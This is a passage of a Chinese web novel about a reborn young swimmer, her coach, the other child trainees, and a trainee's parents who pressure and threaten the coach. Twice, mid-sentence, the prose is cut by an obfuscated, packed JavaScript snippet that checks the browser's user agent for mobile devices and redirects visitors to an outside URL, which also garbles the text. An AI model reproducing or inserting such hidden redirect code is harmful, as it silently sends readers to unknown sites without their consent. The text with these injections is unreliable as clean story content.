大致教了一下四个人怎么用弹力带训练，陶正明又回去管正经交了钱的学生，留着他们四个在这边自己训练。 李诺霜忍不住扶额，陶正明这个撒手掌柜撒手撒得是真痛快啊，一看就不是正经带启蒙的教练。 弹力带这东西训练时如果掌控不好那个度，是会产生拉伤的。 这个弹力带反正对她而言磅数是有些大的，环状的弹力带她现在只能用腿套进去勉强撑开一点点，套着弹力带走路效果跟捆根绳子走路没什么区别。 她是知道这东西要怎么练的，其他仨可不知道，万一逞强给自己练伤了，那可够陶正明喝一壶的。 心真大啊。 李诺霜有心提醒一下其他几个人练的时候拉不开就算了，别强行发力去拉，但是她又没什么立场，而且跟其他几个人也不熟。 所以，她暂时就点到为止了。 “这东西拉开好像要好大的力气的样子，应该不是给我们这个年纪的人用的，应该不完全拉开也没什么关系吧。” 鬼知道她这话怎么就激起了原本上午班那个人的胜负欲，对方用下巴高傲地给她送了一个甩头。 “是你力气小吧，我就能拉开。” 李诺霜转过身去观摩了一下他怎么拉开的，全身发力气沉丹田快速刷地就是一下，然后迅速松手让弹力带弹了回去。 额，这…… 完全没有起到训练的效果啊。 说白了，游泳的人练体能是为了游泳服务的，不是为了身上长大块儿的突出的肌肉。 游泳运动员大部分肌肉都是比较流畅的流线型，甚至有些人的肌肉看起来一点都不明显，没有像练健美的那些一样极强的冲击感。 练弹力带也有点为了划水找感觉，提升发力能力的意思，这人刚才那一下就是纯拉开然后放手，跟划水动作不能说一模一样，只能说毫不相关。 但是，人家练得好不好又跟她有什么关系呢，她现在又不当助教了。 是的，确定参加比赛后，李诺霜就主动跟陶正明说了，自己想要有更多的时间练游泳，为十月的比赛做准备，所以不过来帮他打下手了。 对他的这个请求，陶正明可以说是求之不得，他之前正发愁不知道该怎么跟李诺霜说呢，毕竟一说看起来像他不像给钱了一样。 现在李诺霜自己主动提了出来，这就是皆大欢喜嘛。 李诺霜默默地把自己的弹力带解了下来，重新系在一个离对 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到李诺霜这，陶正明还纠结了一下：“你现在的问题不是技术动作，所以就不给你布置技术游了。所以你要解决的就是耐力和力量都不行的问题，上次给你测了一下，你自己也知道你现在蛙泳后程掉得有多夸张。” “我这边有两个训练计划，看你自己是想选哪一种了。” “一个是你半小时内游完一千五，另外一个是你两分半包干游10组100。” 包干，是游泳高频间歇训练的一种技术术语，其实就是给你一定的时间，让你游完这个距离。 这种训练主要是针对耐力和体能恢复的专项训练，是一种常见的训练手段。 比如陶正明现在说的两分半包干，就是每组100给两分半的时间，如果你一百米游了两分钟，那你回来就只能休息半分钟，然后继续游下一组。 如果你游得快，一分半甚至一分钟就游完了一个一百米，那你休息的时间就会变得长很多。 李诺霜思考了一下，还是决定选一千五。 她从重生到现在，还没有游过一千五，虽然是个短距离为主的运动员，但是小时候李诺霜的长距离也没少练。 游泳训练有两个潜规则，几乎人人小时候都游混合泳，游自由泳的不知道报什么项目就报个长距离上去练练。 而且她是游200的，耐力对她来说还是很重要的，不管是200仰还是200蝶，后程速度的保持都对耐力的要求非常高，所以她确定主项后的训练也少不了耐力项。 半小时游完一千五对现在的李诺霜而言其实算是个比较大的挑战，因为一千五的三级运动员标准也就27秒45，至少从蛙泳的后程能看出来，她耐力目前是不怎么样的，所以她也不知道自己游自由泳的话后程的速度会掉成什么样。 想试试。 “教练，我直接游一千五吧，包干计时不是很方便。但是我不确定我半小时能不能游完一千五，你也知道的，我耐力不怎么样。” “你就冲着游完的这个目标去，超过时间了也没什么。” 倒也是这么个道理。 “教练，那我去了。” “去吧。” 14. 错误示范 对1500米这样的长距离游泳而言，节奏和身体在水中的位置显得尤为重要。 李诺霜下水的时候略微有些不是那么适应，毕竟她只用这具新的身体试过短距离，转变成长距离的时候其实不够放松。 而且，长距离的划水姿势和短距离是不同的，短距离追求实效性之上的更快频率，长距离则是要在冲刺之前的所有时间内找到一个最适合自己的节奏，这样才能比较顺利地扛过极点。 游出去25米后李诺霜才开始调整自己的划水节奏，水中划水的部分加快，出水的部分更放慢放松一些。 这时候，她终于明白了这具新身体对疼痛的敏感带来的并不全然是坏事，对疼痛的敏感同时也意味着其他方面的敏锐。 需要教练组和数据团队经过复杂的测算后才能调整的技术动作，在现在，居然凭借感觉就能逐渐调试到最适合自己的标准答案，这么大的便宜要上哪里捡呢。 和这样巨大的好处相比，对疼痛的忍耐力差完全算不上缺点。 等动作调整完毕，李诺霜迎来了目前对她而言的第一个极点。 在游二百的时候，因为体能差异的问题，保持比较高速度的情况下，她的极点有所前移，从上辈子的第三个50中段变成了第二个50的后段，这也导致她现在游200自的时候后100的速度掉得有些明显。 游长距离，前程的速度自然和短距离不能做比较，她之前的极点一般会出现在750到800之间。 其实李诺霜的1500成绩并不算差，至少能达到A标，但她从确定主项以后就没在这个项目上报过名了。 没别的，她没退役的时候这项目还是个非奥项目，只有世锦赛和亚运会会比，每次赛程都还特别魔鬼地和200米自由泳安排在一起，说白了就是在逼迫运动员做选择。 世界上能游完1500米以后200自比赛还不翻车的人少之又少，而且还得限定在巅峰期。 而现在，其实她的速度已经慢了非常多，但极点反而到得比之前更早了，不到500米的时候就来了。 对身体的掌控程度增强，带来的另外一个副作用就是对极点的敏感程度大幅度的增加。 虽然是泡在水里，但李诺霜能感觉到自己嗓子好像是要烧起来了一样的难受，每次呼吸带来的都是火烫地撕裂一般地灼痛。 同时，身体发沉的现象也变得特别地明显，手和腿仿佛被绑上了重物，原本自然的划水和打腿变成了一种需要用意志力控制着才能不变形的奢求。 李诺霜感觉自己好像有点忘了自己第一次游1500的时候是什么感觉了，反正那时候她应该比现在的身体年龄更小。 当时她是怎么扛过去的来着？真想不起来了，过去有年头了，对小时候的记忆并不是那么清晰。 不过就按照她现在的这个速度，总感觉半小时游完好像并不是一个无法完成的任务，她现在的每个50米的分段并没有到一分钟那么慢，大概在50秒到55秒之间的样子。 加上她一开始调频率的前程冲得其实挺猛的，估计那两个50的分段会在40秒左右，如果她最后50米还有力气能冲得起来，那不是有希望进到25分钟之内？ 这样看起来，好像也不是特别菜嘛，极点前移了这么多，也可能是跟她一开始的100米节奏没有调整好有关系。 还行，能抢救。 度过了第一个极点，李诺霜甚至开始有点自信，她感觉自己速度好像还能往上提一提。 但是提了以后会不会游不动是个问题，李诺霜犹豫着犹豫着二十五米差不多就过了。 还是提一下吧，人还是要勇敢尝试。 提完以后她的分段差不多在48秒左右，好家伙，这么游下去她不会能进24分吧，这次是真的要膨胀了，强大的自信充斥着她的心。 其他三个一起训练的人现在基本已经游不动了在休息，岸边整整齐齐坐着三个人，半泡在水里看李诺霜一圈一圈不知疲倦地游。 “她都不会累的吗？” “可能是吧。” “你叫什么？” “我叫姚鹏。” 姚鹏，就是刚才忍不住发出感叹的，被陶正明发现后拉过来的原本是游着玩的两个人之一。 “那你们呢？”姚鹏问了另外两人。 “楼旭辉。”这是上午班调下来的人。 “范阳。”这是另外一个被陶正明抓过来的游着玩的人。 范阳看了一眼池子里一圈一圈还在游着的李诺霜，把自己的水杯拿过来喝了两口水，还是挣扎着下了池子。 “我休息得差不多了，还差三个一百没游呢，总不能人家游一千五的都完成了，我八百的还剩着一点没游完。” “那我也一起下去，你等会儿我，咱俩剩的一样，一起游了吧。” 楼旭辉却突然出了声：“我有个问题想问你们。” “你们游完泳上来以后不会觉得自己脚踩在地面上的感觉不对劲么？” 姚鹏反应了一下，才知道楼旭辉说的是什么感觉。 “你是说游完泳上岸以后会觉得自己身上很重吗？” 楼旭辉连连点头：“对对对，就是这个，你们知道是为什么吗？” 姚鹏苦恼地挠挠头，看向范阳：“你解释得来吗？我妈以前帮我查过，说什么重什么力什么东西，我也记不清楚。” “反正就是因为你在地上待久了，没有习惯水里的感觉，等你以后游得多了就没有这种感觉了。” 范阳听得一头雾水：“什么重什么啊，我爸说是浮什么东西啊？你妈跟我爸查的怎么不一样？” “那你爸是不是跟你说了习惯了就不会了。” “好像有说。” “那不就完了，你管他到底为什么了，反正习惯了就不会这样，习惯了就好了。” 范阳点点头：“有道理。” 说着，他又忍不住对着岸上的楼旭辉感叹道：“羡慕你今天只用游三百，而我们游完了五百居然还有三百，要命啊。” “想开点，那还有个要游一千五的呢。”姚鹏随口安慰了一句。 范阳却完全没有被安慰到。 “你不觉得那个游一千五的不觉得自己比我们累么？搞了半天我们两个居然是最累的，想不通啊。” “想不通你继续想吧，我得下去游了，今天正式训练第一天，我跟你不一样，下学期开学我就五年级了，我还是很想能进德益的。” “哎，你等等我啊。” 两人跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562894|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下水继续游泳，就剩楼旭辉一个人在岸上感觉天旋地转。 他发誓，自己之前从来没觉得走路是件难事过，为什么现在他刚游完三百上岸以后会觉得自己走路一直在打晃呢？ 刚才两个人给他解释了半天他也没听懂，什么重什么浮，这都什么跟什么。 都说习惯就好了，那到底是要习惯多久才能好呢？ 岸上他的背被太阳晒得有点疼，想了想，他又重新泡回了水里。 还是水里凉快。 李诺霜上岸以后的第一件事是去问陶正明，有没有给她计时。 陶正明还真计了，看她过来不用她问也知道她想问的是什么：“游得不错，一共是二十三分四十八秒九二，比有的成年人成绩还好了。” 这次，李诺霜和陶正明给她报短距离成绩时的反应完全不同，她是真心地高兴。 “教练，我最近感觉我的体力在涨，我休息一会儿，再下去放松游两圈。” 陶正明欲言又止，千言万语化作三个字。 “悠着点。” 李诺霜上岸以后啃了根香蕉补充了点体力，然后又喝了点水，休息了几分钟，顺便也看了一下陶正明给班里的学生纠动作。 不得不说，陶正明教游泳还是挺认真的，没有因为这些人只是想学会游泳就给人糊弄。 他还是尽力地想让每个人的动作变得更符合自由泳标准一些，而不是单纯的让人能在水里游个几米就完事的。 看了几眼这些初学者，李诺霜的视线转移到了池子里正在游泳的两个之前就会的人身上。 两人的速度不算特别快，但跟这些初学者比起来，跟慢字也不沾边。 不过，看了两人的几个划水动作，李诺霜忍不住皱了眉。 这两人的动作看上去就像是家里爸妈教的那种，或者是被那种只想让你在水里淹不死的教练糊弄的，划水效果很差不说，对身体的负担也更重一些。 从出水的部分来看，两人出水的时候都不是肘部先出水，这个动作就是错误的，其次就是入水时手型一个闭得太紧，一个散得太开，这样入水后抓水的效果会差。 另外发力的方式也不是很对，没有用到肩部以及背部肌肉的力量，基本就是手臂甚至只是小臂的力量在划水，实效性很差。 其他的入水位置推肘位置之类，跟发力比起来都不算什么大的错误了。 你做一项运动，你的发力位置都错了，那成绩还怎么提得上去，用的肌肉只有专业人士的三分之一不到，你怎么跟人家比效率？ 要她是陶正明，她就不会让两人继续在池子里游了，直接把人提溜上来跟着岸上这些初学者一起从打腿练起吧。 虽然打腿的动作被水花挡住了一部分，她看得不是特别清楚，但李诺霜能确定，这俩膝盖脚尖和踝关节肯定没有一个对的。 要她说，这俩看起来会的还不如另外一个重新学的呢。 李诺霜觉得，在一张白纸上写字，要比把一张写了错误答案的纸上改成正确答案要容易一些，至少不用拿橡皮开始擦啊，少一道工序不说，擦还不一定能擦干净。 也不知道陶正明咋想的，为了省事？可纠动作肯定比学动作更麻烦。 算了，与她无关，尊重祝福。 15. 嫉妒 陶正明的考量到底如何，李诺霜并不清楚，她在岸上休息了一阵以后，还是重新回到了水里。 一千五游完以后，是需要放松游的，不然第二天起来以后会很难受。 游泳这项运动很神奇，它可以是有氧，也可以是无氧运动，纯看你游的过程如何。 下池子后，李诺霜没有再游自由泳，而是游了50的养生蛙，游了50的仰泳。 正常而言，如果是面对大众开放的泳池，其实里面游蛙泳的人会很多，因为蛙泳其实在不追求速度的时候，是一个对新手而言很友善的泳姿。 很多人最先学会的游泳姿势，除了大势所趋的狗刨以外，就是蛙泳。 蛙泳不像自由泳，对手腿协调性的要求比较高，因此初学者学起来会比较简单一点。 至于自由泳的手腿配合难在哪，岸上现在在凳子上趴了一排的练习手腿配合的学员们应该很有发言权。 里面有几个人，协调性确实突出得明显，宛如军训时齐步走特立独行顺拐的朋友们。 其中就有之前那个练漂浮时扑腾得快给李诺霜造成心理阴影的小胖墩，现在也差不多要成为了陶正明的心理阴影。 当时的仨人，段宏宇和另外那个女生在岸上的时候并没有什么大问题，动作反正都是教练怎么教他们怎么学，只是下水以后因为一点心理原因容易变形。 这个小胖墩就不一样了，他显然不是一个灵活的胖子，凳子上练手腿平衡的时候一堂课能摔下去好几次。 还好他身上有保护性脂肪，没摔坏。 而另外一个人就不像他这么幸运，前天第一次练习手腿的平衡，没有坚持十分钟直接就从凳子上摔了下来，把自己的手肘给磕到了，这两天都在家养伤，没来上课。 伤了一个以后，陶正明也更注意学员们的身体健康保护了，现在所有人岸上练习的时候，下面都铺了泡沫垫，再摔下来好歹有个缓冲。 那个小胖墩凳子下面垫的泡沫垫，看着是有点快被他给砸扁了的趋势。 而且他摔下来的声音还跟别人不一样，别人是跟泡沫垫亲密接触后的一点偏脆响声“啪”，他是透过泡沫垫的缓冲和地面亲密接触的闷响声“咚”。 但是人家性格还是很好的，他摔一次周围看到的人就要笑一次，他一次都没有因为大家憋不住笑而生气过，每次都揉揉脑袋跟着大家一块儿笑一会，又自己默默爬上凳子继续练习了。 陶正明现在基本放弃在课程结束之前教会他了，已经跟他的父母商量好了开学以后给他加课，一边指导李诺霜这边四个要比赛的，一边给他单独开小灶。 这个班宣传的就是每人都能学会游泳，确实有人认真学了没学会，那加个课也是应该的。 今天其实也是岸上练习手腿配合的最后一天，所有人下半截课都是要下水的。 不过，不是全部人一起下水，是五个五个一组轮流分批下水。 所以，李诺霜的额外任务又来了，教练同时盯五个人还是勉强了一点，她得帮忙盯一两个，还是和之前一样，见势不对就给人垫个浮板。 当然，陶正明也不会真的把她当生产队的驴那么使唤，下水练习开始之前，陶正明很谨慎地问了李诺霜现在体力OK不OK。 如果体能因为刚才游了一千五消耗太大，他调整一下训练计划，两个人一起下水也不是不行。 李诺霜当然没有什么体力不够的问题，主要是初学者下水以后的速度对她而言就跟玩似的，她泡在池子里也是泡，不如给陶正明帮个忙顺便赚点小钱。 这时间，姚鹏和范阳已经游完了他们剩下的三百，略有超时，但也顺利完成了任务，现在俩人跟楼旭辉一块儿坐在岸边看这群初学者一起下水扑腾，好不悠闲。 范阳相对而言是更累的那一个，毕竟他的年纪相比姚鹏更小一些，这会儿看起来就是一副当场能睡着的架势。 “太累了。” “还好我妈当时没同意让我进体校，我妈太对了。” 楼旭辉对这个话题很感兴趣，瞬间就凑了个脑袋过来。 “为什么啊？” “我爸说我小时候，就是幼儿园的时候，有个什么体校的游泳教练到我们学校来选苗子，然后当时就挑中我了。” “一起被挑中的好像有七八个人吧，现在就一个人真的在学，其他有跟我一样没有去过的，还有去了半年然后没继续下去的。” 姚鹏也被勾起了好奇心：“你为什么没去，你不是说你还挺喜欢游泳的吗？” “好像是说小学阶段不能不上学直接去上体校，我们市是这样的，所以得每天跟学校里请一点假然后下去去那边训练。” “我妈不想帮我请假，我爸说了不算，所以我就没去。” “我之前看他们上课只要上半天，这也太幸福，太让人羡慕了吧。” “现在你不羡慕了？” “不羡慕，那个还在游的跟我家住得近嘛，我们有时候也一起玩，他说每天下去训练都要游几千米，很累。” “你看我们今天游完了八百都有点不行了，游几千米，不敢想。” 姚鹏和楼旭辉同时打了个寒战，有被吓到。 但是看到水里悠哉悠哉的李诺霜，姚鹏突然又若有所思了起来。 “但是他们游习惯了的人说不定不会觉得累呢？你看现在水里那个，今天游了得有一千七了吧，她像累的样子吗？” “那不一样，那是牲口。” 楼旭辉突然问道：“你们觉不觉得，其实教练主要想教的人是她，我们只是捎带的？” 范阳侧头看了楼旭辉一眼，没有接这个茬。 姚鹏笑着打了个哈哈：“咱们不都是刚认识么，你是不是想得太多了？” “我和她都是交了钱在这边学游泳的，我是从头开始学，我们班的人现在还没下水，我就已经会游泳了。” “她是一开始就会游泳，也不知道报这个班干嘛，但是教练偏偏就看中她，我们训练可以上午也可以下午，上午八点还没有这么热，为什么偏偏 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这兄弟，和他俩今天的经历是一样的吗？ 他们怎么没感觉出来李诺霜今天有什么不一样的地方？ 第一天认识，大家都不熟，人家一个女生，不想凑过来跟他们三个男生一起说话，也挺正常的吧？ 在学校，不也是男生跟男生一起玩的多，女生跟女生一起玩的多么？ 这个楼旭辉，也太能想七想八了，嫉妒心是不是有点强？ 算了，还好他俩的目标都是一样的，好好训练，争取能进德益体育班，其他的倒跟他们没太大关系。 范阳和姚鹏两人家里住在一个小区，虽然不是同一年级，但是都是从小一起玩到大的。 “对了姚鹏，你妈是不是说这周末带你去省城玩一趟？” “是啊。” “那你去不去坐那个摩天轮？听说在上面可以看到大半个省城的场景，也不知道好看不好看。” “我妈挺想坐的，应该会带我去坐吧，但是我想坐海盗船啊，我妈肯定不会陪我一起坐，她玩不了这种太刺激的。” “不是说今年暑假那个水上乐园学生打折么，你们去不去？我可想让我妈带我去玩一趟了，但是我妈一直说没空不带我去，气死我了。” “水上乐园那也是肯定要去的啊，本来就是特意去玩的，这么好玩的地方怎么能不去玩。” “唉，我也只能等你会拉多拍点照片给我过过干瘾了，我爸也真是的，我妈工作忙，那就我和他爷俩一块儿去玩嘛。” “他非要说出去玩就得仨人一起，那你和你妈出去玩，也没有带你爸啊？” 楼旭辉本来还想继续吐槽点什么，但见两人聊去省城玩的事情聊得热火朝天的，实在找不到插话的气口，因此只能作罢。 没人配合，他自己依然盯着池子里的李诺霜和教练，不知道在想些什么。 16. 图穷匕见 9月1日，学校开学，游泳班正式进入周末上班节奏。 游泳馆这个时候上午是不开门的，陶正明也从暑假期间的全天上班，变成了现在的只需要下午去游泳馆上班打卡。 别说，看着每天早上五点多就得起的亲哥陶正华，陶正明心里还有点庆幸。 他的生物钟虽然也是在队里的时候养出来的五点多醒，但是他吃完早饭还可以补一个回笼觉，一觉到中午吃饭，再去上班。 回不去队里的时候，也只能给自己找这么点安慰了。 早上八点半，陶正明的家门被敲响，他只能揉了揉惺忪的睡眼，去门口开了门。 一打开门，门口站着三个陌生人，手里提着东西，让人摸不着头脑。 “你好，请问是陶正明陶教练吗？” 陶正明有点纳闷，但还是把三人先请了进来。 有客上门，陶正明先稍微整理了一下自己的仪容仪表，又给三人各倒了一杯水，然后才在沙发上坐下。 上门时先开口的那个男人抿了一口陶正明端过去的茶，语气让陶正明有些不太舒服。 “陶教练生活很清贫嘛。” “冒昧前来，还没跟陶教练介绍一下我自己，我是楼旭辉的父亲。” 说着，男人递上了一张名片，陶正明接过后看了一眼，市里一家比较出名的开石膏矿的公司。 这个出名并不是什么好名头，市里下辖的一个县，半个县城被挖空，扬尘重，骂声一片。 最近市里没什么石膏矿可以挖了，听说这家公司要转行挖稀土，赚出口钱，就是不知道这次要挖空哪个地方了。 “我旁边坐着的是旭辉的亲阿姨，她爱人也是你们体育口的，小球管理中心的副主任。” 陶正明把名片收进了兜里，保持微笑：“不知道几位上门是？” “我们家旭辉啊，三代单传，旭辉外婆也就这一个外孙，其他都是孙女，对旭辉的未来都是非常关心的。” “陶教练你是体育口的，你也知道最近这个新情况，我是很可以送旭辉去省城的，但是留旭辉在咱们市里，还是我自己有支持家乡体育事业的意向的。” “我听说陶教练你当年是进过全运会半决赛的好手，又是北体大的高材生，我们把旭辉交给你也很放心。” “今天来呢，也没别的意思，就是希望陶教练你之后可以多关心关心我们旭辉，他刚学游泳，基础没有班里的其他几个人好，起步会慢一点。” “我们当然理解陶教练你迫切地想要出成绩的心，但是作为家长，我希望陶教练你可以多关心关心我们旭辉，我们旭辉是很聪明也很上进的孩子，你关心他鼓励他，他会给你很好的回报。” “但是呢，我们旭辉也是一个敏感的孩子，如果教练你不够关心，那旭辉就会伤心，就会失望，旭辉的态度影响我们对你的态度。” 陶正明差不多明白了这人想说什么，但他没搭茬。 “其实今天要不要上门，我们还是有些犹豫的，实际上旭辉在陶教练你给他调班的第一天回来以后，情绪就不是很高。” “当时我们就犹豫要不要上门来找陶教练你聊一聊这件事，但是考虑到暑假期间陶教练你的工作时间比较长，所以我们就没有冒昧登门。” “其次呢，我们队陶教练你的专业能力也是信任的，我们认为，陶教练你不会因为家长没有登门，就忽视你带训的孩子。” “只是，通过旭辉回家以后的反馈，我们觉得，或许还是有必要登门一次，也是让陶教练你看到我们家长对孩子的重视。” “希望陶教练之后可以多多关注我们旭辉，我们做家长的，也会时刻关注旭辉在这边学习的情况的。” 陶正明也不是以前那个会跟省游泳队总教练拍桌子的年轻人了，听完楼旭辉父亲这一番“好言相劝”，他竟然还能保持微笑，说实话，连他自己都有些佩服自己。 “楼先生，我想你可能是对我还存有一些个误解。” “楼先生的连襟既然是我们体育口的人，只要稍作打听，就会知道我为什么会从省力回到了市里，并且连个市队教练都当不上。” “我这个人，是有些理想主义的，当然在楼先生看来，我这种人就是不知变通，或者说不知好歹。” “我自问对四个孩子付出的关心都是同样的，甚至我给楼旭辉同学掐表纠动作的时间花得比其他三个人还要多。” “你既然上门来，那我默认你对孩子的学习具体情况也是关心的，31号，游泳班休课，也是我给四个孩子正式按照培养更专业的少儿游泳运动员所需要进行的训练计划进行训练的过程。” “那个女孩子就不说了，另外两个男生，在陆上训练的部分，练习动作和旭辉是一样的此前从来没有学过，我教旭辉的时间是最长的，因为他始终不能做到有效的动作。” 之前没有说话，但是眼神不善的楼旭辉的妈妈憋不住火了。 “你什么意思？说我们旭辉学得慢是吧？到底是我们旭辉学得慢，还是你偏心眼子没有认真教？” “我老公跟你说话客气，你可别真当我们是普通家长随便糊弄。” “我们旭辉是好孩子，在外面有什么事都会跟妈妈说，你陶教练在上课的时候更关注谁，不要以为孩子感受不到，也不要以为我们家长能被你糊弄过去。” “那个女孩子为什么不说？你不就是偏心那个女孩子么？上午我们旭辉的班，下午是那个女孩子的班，你怎么就不定上午定在了下午？” 这都什么跟什么，陶正明感觉有点无语。 “所有的少体校都是下午给学生上课的，而且定在四点到六点这个时间，第一个开学以后可以跟孩子们上学的时间接轨，市里大部分小学都是三点左右，晚一点三点半也会放学，四点半不耽误孩子们过来训练。” “同时，这个时间孩子们肯定是吃完午饭的，体能会比较够，训练完了以后正好可以回去吃晚饭补充营养，定在这个时间是根据孩子们的身体情况设置的，和人并没有关系。” 但对方好像不太接受陶正明的这个解释：“狡辩。” “我们旭辉都看见了，那个女孩子性格不好，高傲不理人，连你这个教练也不怎么搭理，但是你一直对她笑，对旭辉他们就不笑。” “你不知道对孩子要进行鼓励教育吗？” 陶正明感觉自己这么多年的人生好像就在刚才，被这个人彻底推翻了。 鼓，鼓励教育？ 他哪里没有鼓励楼旭辉了，要让他当年的启蒙教练过来带楼旭辉，估计早就是“餐馆里面的猪脑花装你脑壳里面都比你现在用的这个学得快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562896|186973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”“你那个爪爪是冷库里捡出来的鸡爪爪迈？” 怎么说他大学学的也是正儿八经的体育教育，教育心理学也上过这门课，给孩子提意见都是“刚才这组有进步，但是还需要注意XXX和XXX这两个点，休息我们再来一组试试看。” 这都不行啊？ “你没话说了吧。” 唱红脸的戏份完了，唱白脸的又出场了。 “陶教练见谅，内子是个直性子，有什么说什么，可能有些话听起来会比较刺耳，但这都是内子的真心话。” 嗯，直性子。 陶正明的眼神专注地盯着面前的这张桌子，在想自己体能锻炼有没有松懈，上去掀桌子到底能不能掀得动。 这桌子是他哥从家里搬过来的，正经老红木，死沉死沉的。 而且就算翻了，桌子上摆着的三个杯子还是他们自己的呢，他也是脑子不好，用什么正经玻璃杯给人泡茶啊，用一次性塑料杯子不就结了么？ 不对，还泡什么茶啊，早知道是来上门干这个的，他接三杯自来水出来不就完事了么？ “陶教练做事情也不能全凭喜好啊，也得考虑考虑自己的前途，甚至是考虑考虑你哥哥大陶教练的前途。” “这次市里在省运会表现不佳，大陶教练也不能说一点责任没有，你说对吧。” “总之，陶教练还是好好思考思考到底要怎么指导孩子，重新规划一下自己的带训计划。” “如果陶教练靠自己的能力实在是想不清楚，我们跟市里游泳运动管理中心的何主任也是经常吃饭的，到时候可以替陶教练你去请教请教何主任，相信何主任在一线工作这么多年，也一定有一套他自己的方案，可以指导像陶教练你这样的年轻人。” 陶正明觉得自己也没必要跟他们多磨叽什么，不会真以为他陶正明是怕威胁的人吧。 你是市里地头蛇，真就以为他陶正明离了市里找不到工作是吧？ “是么？不过我和何主任的教育理念不太相同，指导不必了。” “要我说，按你们家跟何主任的这个密切关系，也没必要吊死在我这一颗歪脖子树上，让何主任给你们推荐一个擅长鼓励教育的教练就行了。” “哦对了，你们家楼旭辉在我这报了游泳班，三十节课还剩十节没上完，我给你们退一半的学费，这是一百二，你们拿着去给新教练买条烟呗。” “我上午还有事，就不多留几位了。” 等三个脸色不太好看的人出了门，陶正明进门第一件事就是洗杯子。 “真特么的晦气。” 冷水一浇在手上，上头的陶正明又冷静了下来，反手就扇了自己一巴掌。 “陶正明啊陶正明，你什么猪脑子，不是要回来支持家乡游泳事业，让家乡也有能进全运决赛的游泳运动员么？你这么一搞，带孩子的活都要没了。” “真在市里待不下去了，得出去别的市找工作，那是你想要的么？你想要的不是让自己的家乡人能代表家乡在国内取得名次么？” 洗完三个杯子，陶正明坐在客厅上点了根烟，抽了半根，他整个人塌进了沙发柔软的靠垫里。 “还代表什么家乡，有好苗子也不能送去省里让那个老东西安排着打EPO。” “合理用药提升训练效率，我呸。”